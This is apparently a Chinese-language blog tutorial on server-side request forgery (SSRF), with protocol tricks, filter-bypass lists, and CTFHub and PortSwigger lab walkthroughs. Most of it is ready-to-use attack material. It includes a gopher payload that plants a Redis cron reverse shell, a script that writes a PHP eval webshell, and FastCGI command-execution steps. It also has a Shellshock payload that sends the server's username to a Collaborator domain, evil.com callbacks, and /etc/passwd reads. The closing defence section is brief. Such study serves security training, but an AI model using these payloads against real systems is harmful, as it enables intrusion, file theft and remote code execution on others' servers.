banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

SSRF(伺服器跨站請求偽造)基礎知識

簡介#

很多 Web 應用都提供了從其他伺服器上獲取數據的功能,這種功能通常被稱為 “外部資源加載”。通過使用用戶指定的 URL,Web 應用可以執行各種操作,如獲取圖片、下載文件、讀取文件內容等。然而,如果這個功能被惡意使用,攻擊者可以利用存在缺陷的 Web 應用作為代理,攻擊遠程和本地的伺服器。這種形式的攻擊被稱為服務端請求偽造攻擊(Server-side Request Forgery,簡稱 SSRF)。

在 SSRF 攻擊中,攻擊者通過構造特殊的請求,使得伺服器端發起的請求目標是攻擊者自己控制的或者是內部的系統。一般情況下,SSRF 攻擊的目標是從外網無法直接訪問的內部系統,例如數據庫、內部網絡接口等,這樣攻擊者就可以繞過防火牆,直接訪問這些內部系統。

SSRF 攻擊的形成主要是由於伺服器端提供了從其他伺服器獲取數據的功能,但沒有對目標地址做出足夠的過濾和限制。例如,伺服器端可能允許從指定 URL 地址獲取網頁文本內容,加載指定地址的圖片,下載文件等。如果伺服器端沒有對這些操作進行適當的安全控制,例如檢查 URL 是否指向內部網絡,或者限制可訪問的 URL 範圍,那麼攻擊者就可能利用這個功能進行 SSRF 攻擊。

類型#

  • 基礎(回顯)
  • 不回顯

利用流程#

能夠對外發起網絡請求的地方,就可能存在 SSRF,如下對 127.0.0.1 網站自身的 8080 端口發起請求,返回了相關內容,說明存在 SSRF 漏洞。

image

請求包如下:

POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

url=127.0.0.1%3A8000

嘗試讀取本地文件(windows)

file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts

image

image

如果是 linux 環境,讀取如下文件:

file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces

案例一

GET 請求

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

案例二

POST 請求

POST /test/demo_form.php HTTP/1.1
Host: example.com

url=https://example.com/as&name2=value2

利用方式#

漏洞常規利用方式#

  • 內網端口掃描
    • 利用 DICT、HTTP 協議可以探測內網端口開放情況
    • burp suite 爆破
    • 爆破常見端口,80,8080,3306,6379 等
    • image
  • 目錄掃描
    • burp suite 爆破
  • sql 注入
    • 編碼格式,兩次 url 編碼
  • 命令執行
    • 編碼格式,兩次 url 編碼
    • gopher 協議
    • url:gopher://[host]:[port]/ 兩次 url 編碼的 tcp 數據流
  • CVE-2017-12615
    • tomcat put 方法寫文件
  • Redis 未授權訪問漏洞(無認證)
    • DICT 協議(dict://x.x.x.x:6379/<Redis 命令>)
  • ssrf-xss

漏洞複雜利用方式#

盲 SSRF 利用#

根據響應狀態和響應時間判斷端口是否開放

下圖是一個示例表:

image

使用帶外技術進行盲 SSRF 利用。

各種利用協議

file:///  
dict://  
sftp://  
ldap://  
tftp://  
gopher://

dict 協議#

如果伺服器禁止對外部站點或白名單中的 http 請求,那麼可以使用 dict 協議。

dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)  
CLIENT libcurl 7.40.0

gopher 協議#

gopher 協議支持發出 GET、POST 請求:可以先截獲 get 請求包和 post 請求包,在構成符合 gopher 協議的請求。

gopher 協議是 ssrf 利用中最強大的協議

如下案例,302 跳轉接收請求。

http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php

<?php  
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');  
?>  
  
evil.com:# nc -lvp 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)  
Hi  
ssrf  
test

格式

gopher://<host>:<port>/<gopher-path>_後接TCP數據流

curl gopher://127.0.0.1:8000/_GET%20test

gopher 的默認端口是 70

如果發起 post 請求,回車換行需要使用 %0d%0a,如果多個參數,參數之間的 & 也需要進行 URL 編碼。

發送 get 請求

如果要發送如下 payload

GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1

那麼需要變為如下格式

curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A

在 HTTP 包的最後要加 %0d%0a,代表消息結束

發送 post 請求

POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=test

那麼需要變為如下格式

curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A

ssrf 中的利用

http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc

# 由於PHP在接收到參數後會做一次URL的解碼,所以要再 url 編碼一次
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A

URL 中的/不能進行兩次編碼,端口號不可以兩次編碼,協議名稱不可兩次轉碼

利用 gopher 協議訪問 redis 反彈 shell

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

s/ftp 協議#

sftp 協議是 ssh 文件傳輸協議的縮寫即安全的傳輸協議,用於傳輸文件

http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)  
SSH-2.0-libssh2_1.4.2

tftp#

文件傳輸協議

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET  
  
evil.com:# nc -lvup 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
TESTUDPPACKEToctettsize0blksize512timeout3

file 協議#

file 協議用於讀取文件系統中的敏感文件

http://example.com/ssrf.php?url=file:///etc/passwd  
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

ldap/s/i#

LDAP 代表輕量級目錄訪問協議。它是一種在 IP 網絡上用於管理和訪問分佈式目錄信息服務的應用協議。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

pdf ssrf#

有些情況下,伺服器會將上傳的文件轉成 pdf 文件

嘗試使用<iframe>, <img>, <base>或者<script>標籤、CSS url () 去請求內部服務,讀取敏感文件。

<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

avi#

fastcgi 協議#

title:ctfhub靶場
  • 首先在伺服器上監聽
nc -lvnp 9000 > 1.txt
  • 客戶端使用 python 腳本連接 9000 端口
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
  • 將生成的 txt 文件通過如下 python 腳本進行二次編碼
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

image

將 payload 放到漏洞參數處。

image

知道文件名後,通過 cat 命令查看 flag 的內容

python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php

和前面的步驟一致。

利用案例#

端口掃描#

SSRF 配合 DICT 協議可以用來探測內網端口開放情況,只可以探測 tcp 回顯的端口。

image

redis#

curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

工具#

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
上述工具需要再進行一次 url 編碼。

[[ctfhub-skilltree.md# 二次編碼腳本 | url 二次編碼腳本]]

redis 寫入 shell

import urllib
protocol="gopher://"
ip="192.168.134.132" //ip地址
port="6379" //端口
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//寫入內容為一句話木馬
filename="1.php" //文件名為1.php
path="/var/www/html"//默認路徑
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

案例#

[[ctfhub-skilltree.md#redis|ssrf 之 redis 寫入 shell 場景]]

繞過技巧#

fuzz 字典#

  • web 漏洞 ->ssrfDicts

白名單#

1、允許指定的 ip 或域名訪問指定的資源

白名單為:abc.com

直接無法讀取

http://example.com/ssrf.php?url=https://google.com 

需要在白名單域中,找到開放重定向漏洞,結合開放重定向漏洞進行利用。

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com

2、子域名

白名單為:*.abc.com

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com 

黑名單#

  • ip 改為下述可繞過的 ip
  • 對過濾的字符進行編碼
  • 或者使用域名,指向 localhost

特殊 ip#

http://0177.1/   # 十進制 http://127.0.0.1
http://0x7f.1/   # 十六進制 http://127.0.0.1
http://127.000.000.1
https://520968996

錯誤 ip#

http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/

ipv6#

http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/·

其他協議#

gopher://
dict://
php://
jar://
tftp://

DNS 欺騙#

10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io

xip.io#

10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

編碼繞過#

這些包括十六進制編碼,八進制編碼,雙字編碼,URL 編碼和混合編碼。

127.0.0.1 translates to 0x7f.0x0.0x0.0x1
127.0.0.1 translates to 0177.0.0.01
http://127.0.0.1 translates to http://2130706433
localhost translates to %6c%6f%63%61%6c%68%6f%73%74

白名單#

  • 可以在 url 前面加上認證,通過 @分割,username 換成內部系統 ip,其他的路徑加到最後,如下
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/

image

  • 也可以使用 #號分割各個 url 片段
https://evil-host#expected-host
  • 使用 DNS 的命名結構
https://expected-host.evil-host
  • 對字符進行 url 編碼用來混淆 url 解析器。

302 跳轉#

有時伺服器可能過濾了很多協議,如傳入的 URL 中只允許出現 “http” 或 “https”,那麼可以在自己的伺服器上寫一個 302 跳轉,利用 Gopher 協議攻擊內網的 Redis。

image

SSRF lab#

Lab: Basic SSRF against the local server#

抓包,正常的請求

image

將 stockApi 改為http://localhost/admin,直接未授權訪問了後台面板。

image

刪除用戶,輸入如下參數:stockApi=http://localhost/admin/delete?username=carlos

成功刪除賬號

image

Lab: Basic SSRF against another back-end system#

title:實驗目標
通過ssrf對內部網絡進行端口掃描,發現192.168.0.X網段開放的8080端口

同樣的,來到 check stock 頁面。

正常的請求如下:

image

發送到 intruder

image

payload 設置

image

通過查看響應大小,可以看到 ip 是 192.168.0.154

image

刪除用戶 carlos,刪除成功。

image

SSRF with blacklist-based input filter#

輸入內網 url,被攔截

image

黑名單繞過,127.0.0.1 改為 127.1,admin 也會攔截,對 admin 的 a 進行兩次編碼,第二次編碼只對特殊字符。

image

刪除 carlos 賬號。

image

SSRF with whitelist-based input filters#

image

白名單只允許 stock.weliketoshop.net 訪問。

image

通過輸入http://[email protected]/ 觀察發現可以通過這種嵌入式憑證的 url 繞過。

image

在 username 後面加 #號,發現還是被攔截,對 #號進行兩次 url 編碼,發現未被攔截。

http://localhost%[email protected]/

image

後接 admin,上述圖片正常繞過。

image

post 發包刪除 carlos 賬戶。

stockApi=http://localhost%[email protected]/admin/delete?username=carlos

Lab: SSRF with filter bypass via open redirection vulnerability#

通過重定向漏洞實現 SSRF 漏洞,目標訪問http://192.168.0.12:8080/admin and delete the user carlos

首先需要找到一個開放重定向漏洞,在商品詳情頁面的鏈接跳轉處可以找到。

image

鏈接如下:

https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com

可以直接跳轉到http://www.baidu.com。

抓包 check stock 的請求包。

將上述包發送出去,提示 path 參數缺失

image

去掉 currentProductId 即可。

image

刪除用戶。

image

Blind SSRF with out-of-band detection#

漏洞位於 referer 處

image

打開 Burp Collaborator client,拷貝一個域名

image

將他複製到 referer 處,並發送請求,Burp Collaborator client 收到了發送的請求。

image

Lab: Blind SSRF with Shellshock exploitation#

1、要實現這個實驗,需要先安裝 "Collaborator Everywhere" 插件,burp 的商店中自帶,找到安裝即可。

2、訪問受害者網站並抓包,右鍵,Add to scope 中。

image

3、然後繼續瀏覽網站,"Collaborator Everywhere" 插件就會開始發送請求,並且可以查看到相關的響應了,告訴我們這裡存在 ssrf 漏洞。

image

4、具體的請求如下

image

還添加了一些其他的請求。

image

發送到 intruder 模塊,進行暴力破解,User-Agent 設置為如下 payload,referer 設置為需要爆破的內網伺服器網段。

() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net

image

設置爆破的參數

image

線程設置為 1

image

開始爆破,查看 Burp Collaborator client 是否接收到請求。

image

如上,獲取到了伺服器的用戶名。

漏洞危害#

SSRF 可以對外網、伺服器所在內網、本地進行端口掃描,攻擊運行在內網或本地的應用,或者利用 File 協議讀取本地文件。

內網服務防禦相對外網服務來說一般會較弱,甚至部分內網服務為了運維方便並沒有對內網的訪問設置權限驗證,所以存在 SSRF 時,通常會造成較大的危害。

防禦方式#

  • 過濾返回的信息
  • 統一錯誤信息
  • 限制請求的端口
  • 禁止不常用的協議
  • 對 DNS Rebinding,考慮使用 DNS 緩存或者 Host 白名單

其他#

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。